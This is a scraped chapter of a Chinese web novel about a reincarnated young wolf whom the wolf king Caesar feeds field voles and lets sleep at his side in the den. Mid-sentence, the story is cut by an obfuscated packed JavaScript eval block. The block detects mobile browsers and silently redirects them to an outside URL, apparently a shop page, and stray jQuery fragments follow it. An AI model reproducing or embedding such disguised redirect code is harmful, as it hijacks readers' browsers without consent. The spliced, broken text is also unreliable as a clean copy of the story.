默认冷灰
24号文字
方正启体

12. 娇气

作者:瑄鹤本书字数:K更新时间:
    山地田鼠很擅长挖洞,不论是土壤还是雪地,但他们也很难逃过狼足够敏锐的嗅觉和听觉——


    恺撒并不曾忘记如何抓捕田鼠,狩猎的技巧深深印刻在他的脑海骨血之中,不会随时光而褪色。


    他通过超常的听觉在属于田鼠的“雪下世界”锁定目标,如郊狼一般缓慢、专注地踱步,高高竖起狼耳,仔细捕捉猎物细微的抓挠声和跑动声。


    很快,恺撒的眼神变了——


    那深色的瞳孔骤然针缩,气息绵长,身后尾巴微垂却不曾落地。只是很短暂的一秒钟,甚至可能只有半秒,俞司言便见年轻的狼王以扑抓的姿势迅速向前。


    伴随一道清脆的“咔嚓”声,积雪翻飞落在恺撒的鼻头,而他锋利的乳白色狼牙下,正含了只脑袋耷拉、身上毫无血迹的山地田鼠。


    俞司言还呆着。


    他甚至都没舍得眨眼,可恺撒就在他看都没看清的情况下,手到擒来抓了只猎物。


    山地田鼠是构成食物链的基础不假,但并不意味着这玩意儿真的好抓啊!哪怕是有“专业捕鼠”之称的郊狼,都不见得有一半的成功率。


    恺撒竟然做得这么熟练?


    俞司言慢吞吞眨着眼。


    正当他以为这是恺撒给自己抓的小夜宵时,却见体型高大、肌肉紧实的狼王微微转身。


    对方脊背、腰腹绷出一截漂亮的线条,不等俞司言饿着肚子欣赏这野性的自然美,那没了气息的山地黄鼠便划拉出一道抛物线,砸到他眼前。


    死不瞑目的黄鼠还瞪着俞司言。


    俞司言咂巴了一下嘴巴,感觉自己像在做梦一样。


    “嗷呜?”


    他轻轻冲恺撒叫了一声。


    背对他的狼王并没有理会,反而又一次静心凝神,耳廓微颤,在不到五分钟的时间里按断了今晚第三只山地田鼠的颈骨。


    啪。


    死不瞑目的猎物再次被扔到俞司言的面前,依旧瞪着他。


    深夜下的苏坦纳国家公园很安静,只偶尔能听见渡鸦微粗的啼叫,以及恺撒眼疾爪快,干净利索按断田鼠颈骨的“咔嚓”声。


    咔嚓咔嚓咔嚓。


    都有点儿让俞司言幻视上辈子室友吃薯片的动静了,等他回神看向面前的雪地上时,这里的田鼠尸体已经笼成了一个小堆。


    ——除了提前警惕逃走的那三只,斜坡下的山地田鼠一家,几乎被恺撒一锅端了八成。


    七只田鼠尸体聚着小堆摞在俞司言眼前,而恺撒则趴在不远处,慢条斯理地舔舐着自己的右前肢——山地田鼠们的“刽子手”。


    俞司言清楚,这些田鼠都是恺撒给他的,所以……


    不只是他想,恺撒也想和他成为苏坦纳国家公园第一好的好兄弟、好朋狼吗?


    俞司言心潮澎湃,愉悦兴奋到身后的混血尾巴都快摇成螺旋桨了。


    他没直接吃,而是将七只田鼠满满叼在嘴边,像个口腔里塞满了坚果的胖脸松鼠,挪到恺撒面前放下。


    恺撒:?


    俞司言有时候很小心,但有时候又格外自来熟,尤其是面对稍微向他释放出一点点善意的毛茸茸的时候——


    “嗷呜呜~嘤嘤~”


    夹起来的声音绵绵软软,声调能拐二十八个弯,听得狼耳朵又酥又麻,那股痒意能直接渗到神经。


    恺撒抖了下耳朵,淡淡地望向这只小公狼。


    俞司言用鼻头顶着田鼠,一个劲儿地往恺撒面前推,嘴里发出低低的声响,示意对方也吃。


    老大先吃!


    好朋狼是要分享食物的!


    恺撒垂眼,低头张嘴,挨个把猎物都咬了一口——


    轻微咬烂了一点皮,溢出少量血,内里的肉丁点儿未动,然后抬爪按住俞司言的后颈,将小公狼茫然的脸蛋直接压到了田鼠堆里。


    人家是埋胸,轮到俞司言便成了埋鼠鼠。


    被食物香气扑了满面的俞司言实在没忍住,哼哧哼哧、咕噜咕噜就在后颈下压的力道下开吃了。


    山地田鼠身上几乎没有多余的肥肉,其主要食物来源是植物的根茎、种子,肉质新鲜,携带相应的“草木味”,清爽不腻;搭配常年打洞沾染的“土腥气”,风味十足,甚至细细品味起来,有些近似蓝纹奶酪的口感。


    人类或许觉得不好吃,但对于一头饿着肚子的狼的味蕾来说,堪称美味!


    等两只山地田鼠进了肚子,俞司言才想起自己是来借花献佛的!


    这对吗?老大都还没吃呢?!


    俞司言心虚转了转眼珠,叼起第三只再次往恺撒面前搡了搡。


    “嗷呜嗷呜!”


    老大,吃点呗!


    被烦到的恺撒脾气不好地发出低吼,前爪又一次按住小公狼的后颈——


    那动作与按断山地田鼠颈骨的动作如出一辙,可力道却是缓和的、对方能够承受的。


    小公狼的脑袋又一次被压进田鼠堆里,这次他终于老实进食,却不知被恺撒在心里贴了个“像幼狼一样需要进行管束引导”的标签。


    从小没人管的俞司言就这样莫名其妙在很长一段时间里,拥有了一位冷酷独裁,但又极易对他心软的“狼爹”。


    因为恺撒的开小灶行为,前后有八只田鼠进了俞司言的肚子。


    抛开骨骼,可食用肉量大概在150到170克之间,虽吃不饱狼,却具迅速补充能量的实用性。


    俞司言专注舔着自己的嘴巴爪子,又偏头含了口雪,像漱口那样在嘴里“咕噜咕噜”完再吐掉。


    虽然不是人了,但有些习惯俞司言实在改不了,不管怎么说,漱口对人对狼应该都是有好处的吧?


    整个过程恺撒并不出声打扰,只静静看着。


    强大的猎食者总是有很多耐心,直至月上梢头,恺撒才不慌不忙起身,抬脚往“家园址”的方向走。


    他没有呼唤后方的小公狼。


    但很快,熟悉的窸窣声响起,另一股柔和的气味靠近。


    恺撒知道对方跟上来了。


    莫名地,年轻狼王低垂的狼尾翘起来一个小尖尖。


    有恺撒带路,他们回“家园址”的速度很快。


    觉浅的狼群成员略有察觉,声音、气味能告诉他们回归者的身份,因此多数成员狼只抖了抖耳朵,或掀一下眼皮。


    俞司言小心翼翼跟在恺撒身后,在对方抬脚往山洞里走时,前者迟疑,正好在康迪身边多停留了一会儿。


    迷糊着的贝塔狼康迪吧唧着嘴,嘟嘟囔囔哼唧两声。


    俞司言听得清晰,对方在睡梦中质疑怎么有股田鼠味儿,谁大半夜的偷吃了?


    偷吃的俞司言:脸红.jpg


    心虚瞬间侵袭小公狼的全身,夸张到毛发下的耳朵尖都红了,这种背着好朋狼偷吃的体验俞司言头一回体验,在各种情绪下,他踮着肉垫快走两步,跟着恺撒一起往山洞走。


    也不知道老大愿不愿意再收留他一晚?


    恺撒对身后的动静心知肚明。


    最初小公狼在康迪身边停顿时,恺撒眼皮压低,目露烦躁,身后下垂的尾巴都有些僵直。


    等小公狼轻快地越过康迪,又跟在恺撒身后时,他眼眸微动,尾巴都不自觉晃了下。


    这一系列的反应均源自本能,甚至恺撒自己都未曾注意,只格外宽纵地允许这只小公狼一而再、再而三地踏足他的私狼领地。


    山洞避风,是整个“家园址”最好的休息地,也是独属于狼王的特权。


    恺撒行至内部趴下,脑袋朝向洞口,尾巴盘起,黑暗中发亮的赤


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485009|201958||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    金色虹膜流动着光,似乎在示意小公狼快点。


    ——距离日出没多久了。


    俞司言根本没有前一晚睡觉的记忆,只以为他当时搂在怀里的“被子”是梦里的,也根本不敢想象那是狼王的尾巴。


    为了避免自己打扰恺撒休息,俞司言还特意挑了个最远的位置蜷身趴下。


    他和恺撒之间,足足能躺三个半康迪!


    俞司言:老大老大,我够意思吧!


    恺撒:?


    狼王眼尾耷拉,轻飘飘瞥了一眼毫无所觉,已经用尾巴盖住口鼻的小公狼,齿尖轻摩,倒也不作表示。


    三个半康迪的距离,谁知道能不能维持到日出前……


    康迪:一种尺寸的衡量工具。


    时间早已经到了后半夜——


    正如恺撒所想,三个半康迪的距离甚至没能坚持过半小时。


    等笨兮兮的小公狼睡熟后,他的基因、本能自动触发温暖寻觅技能,蛄蛹片刻,就蛄蛹到了恺撒身边。


    很快,绵软的奶咖色毛发贴上了狼王黑灰色的后脊。


    意料之中。


    恺撒甚至连眼睛都懒得睁一下,尾巴抬起状似推拒,实则下一秒就被小公狼抱到了怀里。


    无视是默许、是纵容。


    是恺撒对小公狼底线的放低。


    甚至当梦里不知道梦见什么的俞司言,张嘴含住恺撒的尾巴尖尖嗦了嗦时,后者也只是毛发微竖,掀起眼皮瞧了眼,又把尾巴尖儿从小公狼的嘴里拔了出来。


    ……真黏狼。


    恺撒枕着交错的前肢微微小憩。


    不知过了多久,他忽然听见一道不同以往,带着难耐的哼唧。


    年轻的狼王迅速睁眼,见小公狼抱着他的尾巴无意识在自己的腹部摩擦。


    难道之前受伤了?


    但他没闻到血腥气……


    恺撒眸光略沉,抽开尾巴准备检查一下小公狼的腹部。


    前爪才按住对方的胸脯,便被摸不到尾巴的小公狼紧紧抱住,紧到恺撒的肉垫能感知到对方的心跳声。


    恺撒干脆就着这个姿势,低头打量小公狼的腹部。


    那里的毛发比起脊背相对稀疏,但更加绵密,尤其俞司言腹部的毛发是干净的奶白色,很容易就能看见浅粉色的皮肉,以及小公狼那退化的,没有实际生理功能的四对咪咪[注]。


    忽然,恺撒目光一顿。


    小公狼胸腔的位置——最上面的左侧咪明显有些不同,没破皮流血,但又红又肿,足足大了一圈,甚至还能瞧见一个很细小的牙印。


    是之前那只山地田鼠咬的,紫红色的肿胀蔓延在肉粉的肚皮上,显得有些狰狞。


    恺撒沉默片刻,缓缓垂眸。


    这点儿伤对于狼来说不过是小问题,两三天就能恢复,不用特地在意。


    没过多久,睡着的小公狼又一次因难受,不自觉抱住恺撒的前肢蹭,嘴里还发出委屈似的哼唧。


    恺撒有些烦躁地瞥了对方一眼。


    真娇气,连忍耐都不会吗?


    可怜的呜咽声断断续续,抱着狼王前肢的小身体也蹭来蹭去,扰狼清梦。


    被烦到忍无可忍的恺撒低头呲牙,正准备教训一下这头不消停的小公狼时,却正好被对方埋了个满怀。


    无害柔软,带着点儿这只小狼身上特有的味道,流露出明晃晃的依赖。


    恺撒一顿。


    他在原地凝滞了半分钟左右,最终收起尖牙俯身靠了过去。


    野外环境下,狼通常都用自己的口水舔舐伤口、进行消毒,这是刻在其基因里的古老生存本能。


    不过,这是恺撒第一次帮自己以外的狼舔,还是舔那种部位。


    总之口感,嗯,就还……挺软的。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)